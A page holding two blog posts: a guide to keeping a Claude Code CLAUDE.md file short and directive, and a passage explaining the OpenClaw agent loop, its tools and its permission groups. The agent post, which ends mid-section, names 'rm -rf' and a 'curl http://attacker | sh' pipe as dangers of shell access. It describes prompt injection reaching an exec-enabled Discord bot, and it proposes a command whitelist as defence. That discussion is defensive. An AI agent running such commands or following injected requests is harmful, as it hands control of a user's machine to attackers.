Project	`./CLAUDE.md`	You or your team	This project only
Rules	`.claude/rules/*.md`	You or your team	Loaded only when you touch matching paths

Later layers can override earlier ones (except enterprise). Most people only need two: ~/.claude/CLAUDE.md for personal preferences and ./CLAUDE.md in each project. That's what I use. I've never written a rules file, and I'm fine.

There's also a fifth kind — Auto Memory, which Claude writes for itself based on your corrections. I'll leave that for a separate post; it's a different system with different rules.

The File: My Actual 67-Line CLAUDE.md

This is the current ./CLAUDE.md in my main content project. Copy it, read past it, or steal sections, it's here to be useful, not admired.

# Content Workflow Project

## What this project is
A one-person writing and research workspace. Markdown files organized by topic.
No code compilation. No build step. Everything is text.

## Stack
- A blog I built (publishing) — drafts live in /articles/, not in the CMS
- Notion (notes) — synced via export, never edited here
- cloudflare R2 (images) — public bucket, no auth

## Directory map
- /articles/    Drafts, one folder per piece
- /research/    Source material, PDFs, transcripts
- /templates/   Reusable outlines and boilerplate
- /archive/     Anything older than 6 months

## Rules (MUST / NEVER)
- MUST keep filenames in kebab-case
- MUST add frontmatter (title, date, tags) to every article
- NEVER modify files in /archive/ unless I say the word "archive"
- NEVER rename files without asking
- NEVER add features, refactoring, or structure I didn't request
- NEVER claim a task is done without showing me the diff

## Writing rules
- Plain English. No corporate voice, no "leverage" or "unleash"
- Short sentences. One idea per paragraph
- If a claim needs a source, add a link. If no source, say "no citation"

## Workflow
- Stage changes with git add after every approved step
- Use @research/{topic}.md when I ask about a topic I've researched before
- When unsure, ask. Don't guess.

## Commands I use
- Preview: open /articles/{slug}/index.html in browser
- Count words: wc -w articles/{slug}/*.md
- Lint links: grep -rn "]()" --include="*.md"

## Detailed docs (loaded on request)
- Publishing flow: @docs/publish.md
- Voice and tone: @docs/voice.md
- newsletter format: @docs/newsletter.md

That's 67 lines, give or take. Every section earns its spot.

Line-by-Line: Why Each Section Stays

Most of what makes the file work is what I didn't put in it. But the sections that stayed each answer a different question Claude asks implicitly every session:

"What is this project?"

→ ## What this project is. Three sentences. A human onboarding to the repo would need this. Claude needs it too.

"What tools are in play?"

→ ## Stack and ## Directory map. These catch Claude before it asks. Without them, I was answering "where do the images go?" every third session.

"What are you going to yell at me for?"

→ ## Rules (MUST / NEVER). This is the section that changed the most across rewrites. More on the wording below, it's specific on purpose.

"How do you want me to write?"

→ ## Writing rules. Four lines. Any more and I'm asking Claude to be a style guide, which is the wrong job.

"What should I do between steps?"

→ ## Workflow. Process rules, not style rules.

"What shell commands are allowed?"

→ ## Commands I use. Three commands. I type them often enough that I'd rather Claude know about them than rediscover them.

"Where's the rest?"

→ ## Detailed docs. Three pointers. Each @path file is loaded only when the section is relevant, so the cost is zero until I need it. This is the single most important structural trick in the file.

Three Versions: What I Deleted and Why

Before the third rewrite, my file was 312 lines of accumulated preferences. After, it was the six rules I would actually defend in code review. Fewer lines, more enforcement, less drift on the agent side, lower token bill on every turn.

This is the boring part most guides skip. It's also the part that would have saved me a month.

Version	Lines	What changed	Claude's behavior
v1	312	Dumped everything I could think of	Followed maybe half. Contradicted itself across sessions.
v2	142	Deleted anything a linter could enforce	Followed most rules. Still rewrote files I didn't ask it to touch.
v3	67	Split detailed docs into `@imports`. Rewrote rules as MUST/NEVER	Follows consistently. Asks when unsure.

What went into v1 that I later deleted

40 lines of formatting rules. Indent width. Quote style. Blank lines around headings. Every one of these is something Prettier or a Markdown linter can enforce in zero tokens. Deleted.
A paragraph of "preferred styles." Words like "prefer" and "try to" are mushy. Claude treated them as suggestions. Turned into MUST/NEVER or deleted.
A list of 22 terms I wanted Claude to use consistently. Three of them mattered. The other 19 were me being precious. Kept three. Deleted the rest.
Sample code pasted directly in the file. Three examples of "here's how to write an article." These lived in the file, which meant every session paid for them in tokens whether I was writing an article or not. Moved to @docs/voice.md, loaded only when relevant.
Rationale paragraphs. I'd write "we use kebab-case because…" and explain. Claude doesn't need the why to follow the rule. Deleted the why.

What survived into v3

Anything I caught Claude getting wrong twice. That's the filter. Not "things that would be good to specify", things Claude actually got wrong.

The humanlayer team
calls this onboarding minimalism: "include as few instructions as reasonably possible." I'd put it more bluntly, if a rule isn't stopping a specific mistake, it's decoration.

Six CLAUDE.md Rules That Made v3 Work

These aren't my rules, they're six ideas I pulled from Anthropic's docs, Boris's HN comment, a few bloggers who've written a lot of CLAUDE.md files, and the cuts I made across three rewrites.

1. A CLAUDE.md is a table of contents, not an encyclopedia

Any large language model can follow a limited number of instructions in one pass, research and user reports
both put the stable range at around 150-200. Claude Code's own system prompt already uses a chunk of that budget. If your CLAUDE.md adds another 300 instructions, you're asking Claude to juggle more than it can hold.

The practical rule: if a section is 15+ lines and only matters sometimes, move it to @docs/xxx.md and link it. Your CLAUDE.md points at the detailed doc. The detailed doc only loads when Claude needs it.

2. Point, don't paste

Instead of pasting 40 lines of sample code into CLAUDE.md, write:

Example of our article format: @templates/article-standard.md

Claude reads the referenced file when it's relevant and ignores it otherwise. Your main file stays small. The template file stays canonical, when you update it, Claude sees the update automatically. No copy stays stale.

Builder.io's CLAUDE.md guide
pushes this hard, and for good reason. Copies rot. Pointers don't.

3. Cover WHAT, WHY, HOW

A good CLAUDE.md answers three questions:

WHAT is this project? (stack, directory map, core modules)
WHY is it like this? (the one or two decisions someone would otherwise try to reverse)
HOW do I work in it? (commands, workflow, review loop)

If a line doesn't fit one of those three buckets, it's probably filler. Cut it.

4. Stop asking the LLM to be a linter

Prettier gives you the same output every time. Claude doesn't. Asking Claude to enforce indent width or quote style is asking a probabilistic tool to do a deterministic job. It'll get it right 95% of the time, which means wrong one in twenty. That's worse than a linter.

Move formatting to tools. Keep CLAUDE.md for things tools can't do: architecture decisions, naming judgment calls, project-specific patterns, workflow choices.

5. It's a living document

Boris's comment keeps coming back to me: I add to my team's CLAUDE.md multiple times a week. Not once. Not weekly. Multiple times. The file you write on day one will be wrong in ways you don't yet know. That's fine.

The update trigger I use: if I find myself correcting Claude on the same thing twice in two sessions, I add a line to CLAUDE.md. One line. Specific to the mistake. Then I watch whether it sticks.

6. Budget awareness

Rough math, from what we know about LLM instruction following:

Item	Rough instructions
What an LLM can follow reliably in one pass	~150-200
Claude Code's own system prompt	~50
What's left for your CLAUDE.md and everything else	~100-150
What I'd budget for CLAUDE.md specifically	~60-80

A 2026 workflow guide from smart-webtech
puts the hard ceiling at 200 lines: "Files longer than that consume too much context and instruction adherence measurably drops." That matches what I saw going from v1 to v3, below 100 lines, every rule got followed; between 100-200, adherence started drifting; above 200, Claude was actively triaging.

Anthropic themselves publish a rolling Claude Code changelog
that's been shipping memory improvements most months in 2026, reduced memory footprint, cache clearing after compaction, capped file history snapshots. The tool is getting leaner. Your CLAUDE.md should go the same direction.

Every line you add is a line spent. Ask yourself: is this useful every session, or only sometimes? If only sometimes, it belongs in an @docs/ file, not the main one.

A specific wording note: MUST and NEVER work, "prefer" doesn't

I tested both. Polite language — "prefer kebab-case," "try to use short sentences", got followed about 70% of the time. MUST/NEVER wording got followed closer to 95%.

Why? LLMs trained on technical docs know RFC 2119
keywords. MUST, NEVER, and MUST NOT are treated as rules. "Prefer" and "try to" are treated as suggestions. Both forms are grammatically fine. Only one behaves like a rule.

The Mr Tinkleberry Test

Here's a trick I borrowed from a Hacker News thread
. A developer wrote:

A friend of mine tells Claude to always address him as "Mr Tinkleberry." He says he can tell Claude is not paying attention to the instructions on Claude.md when it doesn't.

It's dumb, and it works. Add one small, unusual, low-stakes instruction to your CLAUDE.md, something Claude would never do on its own. Mine is this line, near the top:

## Greeting
Always greet me as "Captain" at the start of a session.

When a new session opens with "Hello, Captain", I know Claude is reading the file. When it opens with "How can I help you?" — I know the file is being skipped, usually because I've stuffed too much in and Claude is triaging.

It's the cheapest smoke test I've found.

Four Ways People Break CLAUDE.md

The most common failure mode I see in CLAUDE.md design is treating the file as documentation for humans rather than instructions for an agent. The audience is the model. The format that works for Confluence does not work here.

Mistake 1, Writing it like a manifesto

The worst CLAUDE.md I've seen a reader send me started like this:

# Project Philosophy
This project represents a commitment to excellence in software craftsmanship.
We believe that clean code is a form of respect for your future self and your
colleagues. Every line should be written with intention...

Three paragraphs of this before any instruction. Zero of it helps Claude do a task. Claude doesn't need a manifesto, Claude needs rules. Delete the philosophy and start at "## What this project is."

Mistake 2, Using it as a linter

A reader wrote me a 180-line CLAUDE.md. 130 of those lines were formatting rules. Indent style. Trailing commas. Blank lines around headings. Single quotes versus double quotes. Every one of those lines is something ESLint and Prettier solve for free, and they solve it more reliably than any LLM.

The fix: delete all 130 lines. Add one line: MUST run npm run lint before reporting a task complete. Let the tool do the tool's job.

Mistake 3 — "Please" and "prefer"

Please try to use descriptive variable names when possible.
We would prefer if you avoided overly complex nested structures.
It would be great if documentation could be kept up to date.

Every one of those lines will be followed sometimes. Rewrite them:

MUST use descriptive variable names. No single-letter names outside loop counters.
NEVER nest conditionals more than 3 levels deep.
MUST update @docs/{relevant}.md when changing a public API.

Specific and directive. Suggestions get ignored. Rules get followed.

Mistake 4, Writing it once, forever

The CLAUDE.md that was right for your project two months ago is probably wrong now. The stack moved. You stopped using one of the tools. A decision got reversed. The file needs to move with the project.

I audit mine monthly. Twenty minutes. Delete anything I haven't needed since last audit. Add anything I've been repeating to Claude lately. It's the smallest maintenance tax in the project, and the thing that keeps the file from rotting.

When CLAUDE.md Is the Wrong Tool

Three things people put in CLAUDE.md that belong somewhere else.

Project secrets. API keys, database URLs, internal hostnames. CLAUDE.md is committed to git in most repos. The right home is .env, a secrets manager, or a personal-machine-only ~/.claude/CLAUDE.md. The agent does not need the secret to know how to use it; it needs an instruction like "read $DATABASE_URL from environment."

Long-lived task plans. "This week we are migrating from Postgres to MySQL" does not belong in CLAUDE.md, because next week the rule is wrong and the agent will follow it anyway. Use a plan file (PLAN.md, deleted when shipped) or an open issue. CLAUDE.md is for durable rules, not weekly state.

Style preferences for prose. "Write in active voice. Use Oxford commas. Prefer short sentences." Three paragraphs of writing style guidance pushes operational rules out of the cache. If the agent writes prose for you, put style notes in the prompt for that one task, not in CLAUDE.md.

The pattern: CLAUDE.md is for things that are true every turn. Anything that decays, varies by task, or carries a secret belongs elsewhere.

A Quick Note on Auto Memory

You may have heard about Auto Memory, the other half of Claude Code's memory system. It became a standard, stable feature in early 2026 and complements what I've covered above.

Short version: CLAUDE.md is what you write for Claude. Auto Memory is what Claude writes for itself, based on your corrections and habits. When you tell Claude "don't do that again," Claude stores a note; next session, the note loads.

The two systems don't conflict, they complement each other. CLAUDE.md is your rules. Auto Memory is Claude's running notebook. I'll cover Auto Memory properly in a separate post, because the right/wrong ways to use it are different from CLAUDE.md.

For now, you can check what Claude has stored with /memory inside a session. If you're surprised by something Claude "remembered," that's usually where it came from. Anthropic is also actively shipping memory-related improvements, the changelog from Q1 2026 shows consistent work on reducing memory footprint, better session recap, and file-history caps. Good news for anyone writing long CLAUDE.md files: the tool is getting smarter about what it actually retains.

The common CLAUDE.md regret I hear most

After publishing my six-month review
, the #1 note readers sent back was the same: "I wish I'd audited my CLAUDE.md a month earlier." The file rots silently. You stop using a tool, a rule becomes obsolete, a section you added to fix a bug fixes a bug that no longer exists. A 20-minute audit every 4-6 weeks is the cheapest maintenance tax on the list, and the one most people skip.

One reader who runs a two-person agency had a 240-line CLAUDE.md for an old client engagement. The client project wrapped up in January. The file was still loaded into every new project session in April, three months of every prompt carrying 180 lines of dead context. Five minutes to delete, three months of unnecessary tokens. That's the cost of "write once, forever."

Copy This Starter Template

Not a programmer? Use this. It's a CLAUDE.md for a solo content or research workspace, 28 lines, no code context. Paste it into ./CLAUDE.md in your project folder and edit the filled-in parts.

# {project name}

## What this project is
{One or two sentences. What is the work? What's the output?}

## Tools
- {Tool 1} — {what I use it for}
- {Tool 2} — {what I use it for}

## Directory map
- /{folder}/  {what lives here}
- /{folder}/  {what lives here}

## Rules (MUST / NEVER)
- MUST keep filenames in kebab-case
- MUST add a date and title to every file in /articles/
- NEVER modify files outside the current task
- NEVER claim a task is done without showing me the diff
- When unsure, ask. Don't guess.

## Writing rules
- Plain language. No corporate voice.
- Short sentences. One idea per paragraph.

## Greeting
Greet me as "{pick one word}" at the start of a session.

## Commands I use
- {Your most common command}

The greeting line is the smoke test from earlier, keep it while you're tuning the file, then delete it once you trust Claude is reading the file consistently.

Key Takeaways

The optimal CLAUDE.md length is 60-100 lines — past 150, Claude measurably starts triaging rules. My current file is 67 lines after three rewrites
Use MUST / NEVER / MUST NOT (RFC 2119 keywords) — polite language like "prefer" or "try to" gets followed ~70% of the time vs. ~95% for directive language
Point, don't paste — move long templates into separate files and reference with @path/to/file.md; the referenced file is lazy-loaded only when relevant
Audit monthly, not quarterly — the most common reader regret is waiting too long between CLAUDE.md cleanups. 20 minutes every 4-6 weeks keeps the file alive
Don't ask the LLM to be a linter — Prettier and ESLint are deterministic and free; CLAUDE.md should hold decisions tools can't make
Add a one-word greeting as a smoke test — if Claude opens the session without the greeting, the file isn't being read (usually because it's too long)

Ready-to-Use Prompt: Minimize a CLAUDE.md to the Shortest File That Hits Your Bar

What this does: Scores a bloated CLAUDE.md against the six survival rules, triages every line into KEEP / CUT / MOVE, and rebuilds it in the fixed ~67-line structure — so enforced rules stay and noise stops pushing real instructions out of the cache window.

Based on: Claude.md in 67 Lines: What 3 Rewrites Taught Me — https://aiworkflowpro.com/claude-code-claude-md/

Time to run: ~4 minutes

Copy this prompt into Claude Code, ChatGPT, or any AI assistant:

ROLE: You are a CLAUDE.md Minimizer. Your job: cut a bloated CLAUDE.md down to the shortest file that still gets the agent to the user's bar — by deleting, not by writing better rules.

CONTEXT — CLAUDE.md MINIMIZATION METHOD:
The best CLAUDE.md is the shortest one that gets the agent to your bar — a 312-line file barely works, and the fix is deleting 75%, not writing better rules. Rules you wrote but never enforce become noise that pushes real instructions out of the cache window. Six rules make a file stick: (1) shortest file that hits your bar; (2) rules are hard MUST/NEVER constraints, not "prefer" wishes; (3) load detailed docs on request, not inline; (4) one section = one job, in a fixed structure — project, stack, directory map, rules, workflow, commands, detailed docs; (5) enforce or delete; (6) cache-window discipline — every line earns its place. Minimize first, then rebuild in the fixed structure.

INPUTS (fill in before running):
- CURRENT_FILE: [The existing CLAUDE.md content — or "starting fresh"]
- PROJECT_INFO: [What the project is, the stack, the key directories]
- QUALITY_BAR: [What "good" means — the standard the agent must hit]
- ENFORCED_RULES: [Which rules you actually enforce, vs. aspirational ones]

METHOD — 4 STEPS:

Step 1 — Score the Current File Against the Six Rules
For each of the six rules, score CURRENT_FILE 0–2 (0 = violates, 1 = partial, 2 = fully met). Count total lines. Flag any rule scoring 0 and any section over ~15 lines as a cut target.

Step 2 — Triage Every Line (KEEP / CUT / MOVE)
For each line or rule: KEEP if it is an enforced MUST/NEVER that earns its cache-window place; CUT if unenforced, aspirational ("prefer"), or duplicated; MOVE to a detailed-docs file loaded on request if it is reference depth not needed every session.

Step 3 — Rebuild in the Fixed 8-Section Structure
Reassemble the KEEP items into: What this project is / Stack / Directory map / Rules (MUST/NEVER) / Writing rules / Workflow / Commands / Detailed docs (loaded on request). Aim for about 67 lines.

Step 4 — Verify Against the Bar and Cache Discipline
Confirm the rebuilt file still gets the agent to QUALITY_BAR (no enforced rule lost), every rule is in ENFORCED_RULES, and total length is under the cut target. Name anything moved to load-on-request docs.

RULES:
- Never keep a rule you do not enforce — unenforced rules are noise that displaces real instructions.
- Never inline detailed reference docs — move them to files loaded on request.
- Never let "prefer" or aspirational phrasing survive — convert to MUST/NEVER or cut.

OUTPUT FORMAT:
Output a markdown report with:
1. Six-Rule Scorecard — markdown table, columns: Rule | Score (0–2) | Note
2. Line Triage — markdown table, columns: Section | KEEP / CUT / MOVE | Why
3. Minimized CLAUDE.md — the rebuilt file inside a fenced text block, with the line count
4. Moved-to-Docs — list of anything relocated to load-on-request files

Save as @templates/claude-code-claude-md.md and run whenever a CLAUDE.md grows past ~100 lines or stops being followed.

Frequently Asked Questions

Where should CLAUDE.md live, in the project or in my home folder?

Both, usually. A project-specific ./CLAUDE.md in the project folder covers rules that apply only to that work. A user-level ~/.claude/CLAUDE.md covers things you want across every project (voice, working style, "don't over-explain your answers"). Project-level overrides user-level where they conflict.

How long should CLAUDE.md be?

60-100 lines for most work. Past 150, Claude starts skipping parts of it. If you feel the file pushing past 100, that's the signal to move detail into @docs/ files and link them from the main file. The humanlayer guide
argues for even shorter files, I've found 67 lines is the sweet spot for my content workflow.

Does CLAUDE.md work in subdirectories?

Yes, and it's useful. If you have a ./frontend/CLAUDE.md, Claude loads it on top of the root ./CLAUDE.md when working in that folder. Keep the subfolder file scoped, things true only of the subfolder. Avoid duplicating rules between levels; duplicates drift apart over time.

What's the `@\` syntax actually doing?

@path/to/file.md tells Claude to include the contents of that file when the surrounding section is relevant. It's lazy loading: if Claude isn't touching that area, the file doesn't load and doesn't cost tokens. Depths nest up to five levels, so you can chain imports if you want to, though most setups don't need more than one level.

Can I have a personal CLAUDE.md that isn't committed to git?

Yes, name it CLAUDE.local.md in the same folder as CLAUDE.md, and add it to .gitignore. This is where I put URLs, test accounts, and notes I don't want to share with the team. The pattern was discussed in depth on HN
— team-visible file for shared rules, local file for personal shortcuts.

Do I need to tell Claude to read CLAUDE.md at the start of a session?

No. Claude Code reads the file automatically on session start. If Claude seems to be ignoring it, the problem is almost always one of two things: the file is too long (it's being triaged), or the rules are written as suggestions rather than directives. The Mr Tinkleberry test from earlier will tell you which one.

What if my project doesn't have any code at all?

The 28-line template above is written for exactly that case. Filenames, directories, voice rules, and workflow notes apply just as much to a writing or research project as to code. Drop the "commands" section if you never use shell commands. Everything else stays relevant.

What's Next in This Series?

For the full picture of everything Claude Code does, the complete Claude Code guide
is the reference this post's config chapter belongs to. Then the series continues:

*Which phrasings save the most time, ranked by ROI * — my seven-prompt cheat sheet for Claude Code, plus the three I dropped
*The honest scoreboard: 5 Skills I kept, 3 I deleted * — post-mortems on the ones I shipped and regretted
*5 MCP connections worth it, 7 I removed * — a non-programmer's short list
*Where this CLAUDE.md lives inside my real setup * — the six-month retrospective: cost, workflow, three regrets

— Leo

Published in: Technology
, Agentic Coding
, Beginner
, Claude Code

Author

Download more icon variants from https://tabler-icons.io/i/brand-youtube

I take real work from real industries and rebuild it with AI agents — the setup, the failures, the numbers.

View articles

OpenClaw AI Agent Loop: How Agents Think and Act

Leo Kane — Wed, 26 Aug 2026 07:51:09 +0000

Originally published on AI Workflow Pro

OpenClaw AI Agent Loop: How Agents Think and Act

A confident instant answer and a checked one look identical until the number turns out to be wrong. What separates them is a loop with places to fail in it, six of them, each a spot where an ai agent for business quietly returns what it already had instead of going to look.

Copy

TL;DR: An AI agent loop is the 6-stage ReAct cycle that turns a model into a worker: receive, assemble context, reason, call a tool, stream the answer, persist. The model can repeat the reason-and-tool steps multiple times per turn. That loop is what lets an agent investigate, not just answer. Tools, skills, permissions, timeouts, hooks, and silent-response tokens are the dials around the loop.

There is a difference between asking someone a question and asking them to go find out. The first needs an answer; the second needs someone who will open the file, check the second source, notice the number does not match, and come back with that. Most AI agent for business use fails right here — the model answers instantly and confidently from what it already had, because nothing in the loop ever told it to go look. What follows is the loop that does tell it, stage by stage, and where each stage quietly breaks.

Everyone says an AI agent "thinks once and replies." Actually, a working agent runs the reason-and-tool cycle three to twelve times before it sends a single character. The single-shot mental model is the root cause of most "why is my agent slow" tickets.

If you have shipped a multi-tool agent, skip ahead to §12 for the 5 mistakes I made wiring this up. If you are still working out why one message triggers a dozen model calls, read on.

You ask your agent to check why the staging server is slow.

A few seconds later it returns: "Memory pressure, process X using 4.2GB, OOM event 6 minutes ago. Restarting X freed memory; latency normalized."

Honestly? Try this question: how many times did the model think during that one reply?

If you said one, you're picturing a chat tool. The right answer for any real agent is three or four, round 1 to call exec ps aux, round 2 to call exec dmesg | tail after seeing the memory number, round 3 to write the summary. Each round is a model call. Each round adds tool output to the context. The model decides when it has enough evidence to stop.

That repeating reason-and-tool cycle is the agent loop. It's the difference between a chatbot ("here's what I'd guess") and an agent ("I checked, here's what's actually true"). The rest of this article walks the 6 stages, the 8 tool groups, the 4 permission presets, the 5 mistakes I made wiring this up, and a 30-minute path to watch the loop run on your own machine.

If "agent runtime" still feels new, two short maps to keep open:

OpenClaw AI Agent Runtime: Why Agents Need a Home (Part 1)
OpenClaw AI Agent Message Flow: 8 Runtime Stages (Part 2)

The Wrong Intuition: "The Agent Thinks Once"

The single most useful thing I learned in my first month of building agents was that the model rarely runs once per turn.

The intuitive picture is this: I send a message; the model reads it; the model writes a reply. Three steps. Done.

The actual picture is this: I send a message; the model reads it; the model decides it doesn't have enough information; it calls a tool; the tool returns; the model reads the tool output; the model calls another tool; another result comes back; only now does the model write a reply. Six, seven, sometimes twelve rounds. Each round is a model call against the same accumulating context.

This single fact rewrites your debugging mental model. When the agent feels slow, it's almost never one slow call, it's three or four model calls back-to-back. When the bill spikes, it's the same context getting re-read on every round, plus the tool outputs piling up. When the agent stops mid-thought, it's usually a loop terminator, round cap, context overflow, timeout, or an intentional silent-response path firing earlier than you expected.

I used to think pruning was a nice-to-have. After watching one agent loop hit round 14 with 95% of the context full of stale tool output, I learned otherwise. Pruning is the difference between a sharp loop and a confused one. More on that in §11.

The 6-Stage ReAct Loop, End to End

Here is why this matters: the loop is the place where cost, latency, and reliability live. Optimize prompts all you want, but if your agent loops 8 times for a 2-step task, you are paying 4x and waiting 4x. Knowing the 6 stages tells you which dial to turn.

OpenClaw's loop follows the classic ReAct (Reason + Act) pattern, in 6 named stages (at time of writing):

Stage	What happens	Analogy
1. Receive message	Inbound from a channel (Discord/Telegram/WhatsApp) lands in the gateway	Employee gets a request
2. Assemble context	Pack system prompt, history, memory, skill instructions into one input	Flip through the notebook before starting
3. Model reasoning	Send the package to Claude / GPT, get back text or a tool call	Think about what to do next
4. Tool execution	If the model wants a tool, run it; feed the result back into context	Make the phone call, run the query
5. Streaming response	Push the final text out to the channel as it generates	Type and send the reply
6. Persistence	Write the conversation, decisions, and important facts to disk	File it in the right folder

The key fact: stages 3 and 4 can repeat as many times as the model needs. That's the loop. Stages 1, 2, 5, 6 run once per user turn. Stages 3 and 4 run as many times as evidence-gathering requires. The "agent loop" is shorthand for "stage 3 → stage 4 → stage 3 → stage 4 → ... → stage 5."

2.1 What one full loop actually looks like

For "check why staging is slow," a real OpenClaw run might look like:

Round 1
  Stage 3 (model): "I should check process and memory state."
  Stage 4 (tool):  exec "ps aux --sort=-%mem | head"
                   → returns: process X, 4200MB

Round 2
  Stage 3 (model): "X is the suspect. Let me check if there was an OOM."
  Stage 4 (tool):  exec "dmesg | grep -i 'killed process' | tail"
                   → returns: OOM 6 minutes ago

Round 3
  Stage 3 (model): "Restart X and verify."
  Stage 4 (tool):  exec "systemctl restart x.service"
                   → returns: ok

Round 4
  Stage 3 (model): "Confirm latency back to normal."
  Stage 4 (tool):  exec "curl -w '%{time_total}' staging/health"
                   → returns: 0.18s

Round 5
  Stage 3 (model): plain text reply ready
  Stage 5 (stream): "Memory pressure, process X using 4.2GB..."

Five rounds of reasoning, four tool calls, one user-visible reply. From your side it looked like a single answer; under the hood it was five model calls against a context that grew with every round.

2.2 The most overlooked stage: context assembly

Stage 2 is where the runtime hands the model a 20-60K token "small handbook" before the model even reads your message. Identity, tools, memory, history. We covered the size and cost of this in Part 2 § 5
. The reason it matters here is that every round of the loop re-assembles context with the new tool result appended. Round 1 might be 25K tokens. Round 4 with 12,000 tokens of accumulated tool output might be 37K. The bill grows non-linearly with loop depth, not with conversation length.

2.3 Who decides "enough"?

The loop ends when the model emits text instead of another tool call, or when one of the safety caps fires (more in §7). The model is the deciding party. You can nudge it via the system prompt ("when you have enough evidence, stop and answer"), via skills, or via tighter round caps, but you can't force a deterministic loop length. The non-determinism is the feature. A deterministic loop wouldn't be an agent.

Three ways the loop fails (degenerate modes)

Once you know the healthy shape of the loop, the three failure modes become easy to spot.

Mode	Symptom	Root cause
Zero-round	Agent replies immediately without doing anything	Tool descriptions missing from context, model doesn't know it can act
One-round	Agent runs one tool, then stops with a half answer	Model decided "this is enough" prematurely; skill instructions too vague
Infinite loop	Agent keeps running rounds, never produces a final reply	Task is unbounded ("research X thoroughly") with no clear stop condition

I've hit all three. Zero-round was a misconfigured TOOLS.md that loaded the file path but not the actual tool schemas. One-round was a vague skill that said "investigate the issue" with no completion criteria. Infinite loop was an agent told to "keep checking" without an explicit "and report after 3 rounds." Each one is a context bug, not a model bug. The model behaves differently in each case because the context tells it to.

The 5-second triage:

Replies feel hollow → check if tool definitions are loaded.
Replies feel short → check if the skill specifies a completion bar.
Loop never ends → cap rounds at 20, force a stop condition.

Tools: the agent's hands and feet

Tools are the model's connection to the outside world. Without tools, the agent is a chatbot with extra steps. The OpenClaw default tool set, at time of writing:

Tool	What it does	Analogy
`exec`	Run any shell command	Universal remote
`read` / `write` / `edit`	Read, write, edit files	Take notes, write reports
`web_search`	Search the internet	Look something up
`web_fetch`	Pull a webpage's content	Save a page for later
`browser`	Drive a browser (click, fill, screenshot)	Open the laptop and operate
`message`	Send messages on connected channels	Send a Telegram, Discord, or Slack message
`memory_search` / `memory_get`	Search and retrieve from long-term memory	Flip through old notes
`cron`	Schedule a future task	Set an alarm

A tool is not a button. A tool is a contract. Each tool has a schema (parameters, types, return shape) and a description the model reads at every turn. The model uses the description to decide whether the tool fits the current goal.

If your agent isn't using a tool you expect it to use, the first thing to check is the tool's description. A vague description ("does file stuff") loses out to a clear one ("read the contents of a file at a given path"). The model picks tools the way you'd pick from a tool drawer with labels — clarity wins.

Skills: the instruction manuals

Tools are hands. Skills are training. A tool tells the agent how to fetch a webpage; a skill tells the agent that for this kind of task, here's the recipe.

A skill is a directory with a SKILL.md inside. The contents look like a short standard operating procedure: when to apply it, the steps, the success criteria. OpenClaw exposes skills in three tiers:

Tier	Location	Analogy	Priority
Built-in	Bundled with OpenClaw	Apps that ship with the OS	Lowest
Hosted / local	`~/.openclaw/skills/`	Apps you install from a store	Medium
Workspace	`<workspace>/skills/`	Custom apps for one project	Highest

Workspace skills override hosted skills, which override built-in. This is how the same agent can behave differently in different workspaces, same tools, different recipes.

The key design point: a skill is a small markdown file, not code. You can write one in 10 minutes, version it in Git, share it as a single file. I have a daily-summary skill that's 32 lines of markdown and runs at 7am every day. It does in 32 lines what the LangChain version of the same thing would take 200 lines of Python to do.

5.1 Why two layers (tools + skills) is the right shape

I tried to write everything as tools at first. It got ugly fast. Tools are atomic actions. Skills are workflows. Cramming "summarize unread email and triage into three buckets" into a single tool means the tool description has to encode the whole workflow, which the model then has to parse on every turn, every time. Splitting it into tools (gmail.list, gmail.read) plus a skill (inbox-triage recipe) means the workflow lives in markdown that's only loaded when the skill activates. Separation of concerns saves tokens and reduces drift.

Tool Permissions: The Master-Key Paradox

Before tool permissions, you trusted the agent with everything or with nothing. After, you grant a master key for reads and tight scopes for writes. The difference is a working agent versus a fearful one.

exec can run any command. Read and write to any file. Send any message. The very things that make an agent powerful are also what make a misconfigured agent a security incident waiting to happen.

OpenClaw groups tools by profile and group shorthand. Checked against the official tools config docs on 2026-04-29, the relevant groups are:

Group	Tools	Risk
`group:runtime`	exec, process, code_execution	Extreme — full shell on your machine
`group:fs`	read, write, edit, apply_patch	High, file system reach
`group:automation`	cron, gateway	High, schedules future work
`group:openclaw`	all built-in OpenClaw tools	High, broad control
`group:sessions`	sessions_list, sessions_history, sessions_send, sessions_spawn, subagents	Medium, controls conversations and delegated work
`group:web`	web_search, x_search, web_fetch	Medium, outbound search/fetch
`group:ui`	browser, canvas	Medium, drives UI
`group:messaging`	message	Medium, speaks on your behalf
`group:media`	image, image_generate, video_generate, tts	Medium, media generation
`group:memory`	memory_search, memory_get	Low
`group:nodes`	nodes	Low
`group:agents`	agents_list	Low

Each agent declares which groups it needs. The runtime enforces. Then four presets bundle common combinations:

Preset	Use case	Granted
`minimal`	Maximum safety	Almost nothing
`coding`	Writes code	fs + runtime + web + sessions + memory plus selected automation/media tools
`messaging`	Replies to channels	messaging + selected session tools
`full`	Trusted main agent	Unrestricted baseline, same as leaving profile unset

I use coding for my dev-helper agent and messaging for my reply-to-Discord agent. The first one can't message my Telegram by accident. The second one can't run shell commands by accident. The blast radius shrinks to the agent's actual job.

6.1 Why exec is special

exec is the master key. Anything you can type in a terminal, the agent can run. Including rm -rf. Including curl http://attacker | sh. A prompt injection that lands on an exec-enabled agent is a full machine compromise.

The mitigations:

Run the agent under a sandboxed user with no sudo.
Whitelist specific commands in TOOLS.md ("you may run ps, dmesg, systemctl status; refuse anything else").
Audit logs on every exec call so you can review yesterday's actions in the morning.

I caught one near-miss with the audit log: a Discord bot, exposed via a public channel, had an exec-enabled config from testing I'd forgotten to lock down. A user asked it to "summarize my server logs," which it did. Five minutes later a different user asked it to "summarize attacker.com." It tried. The whitelist would have stopped both, and after that incident I added one. Treat permissions as a day-1 feature, not a "later."

Timeouts: Not Forever

Parameter	Default	Meaning
`timeoutSeconds`	600 (10 minutes)	Maximum runtime for one agent turn
`agent.wait`	30s	How long the gateway waits for a new message before yielding

Why 600 seconds and not 60? Because real agent work, investigating a server outage, drafting a 3,000-word document, processing a batch, routinely takes 3-8 minutes when tool calls compound. A 60-second cap kills legitimate work; you'll spend the rest of the day raising the cap.

A 600-second cap still protects you from runaways. The math: model calls run 2-5 seconds, tool calls 1-3 seconds, so even an aggressive 50-round loop is bounded by 4-5 minutes of real time. 600 seconds is "give legitimate work room to finish, but don't let bugs run all afternoon."

I lower the cap to 180 seconds for chat-style agents (where 3 minutes is already long) and raise it to 1800 seconds for batch jobs that legitimately need to grind through a long list. The default is the right starting point, adjust per agent, not globally.

NO_REPLY and HEARTBEAT_OK: When the Agent Should Stay Silent

OpenClaw has two related silent-response contracts:

NO_REPLY / no_reply is the general silent token for housekeeping, group lurk-mode, and isolated cron results where nothing should be delivered.
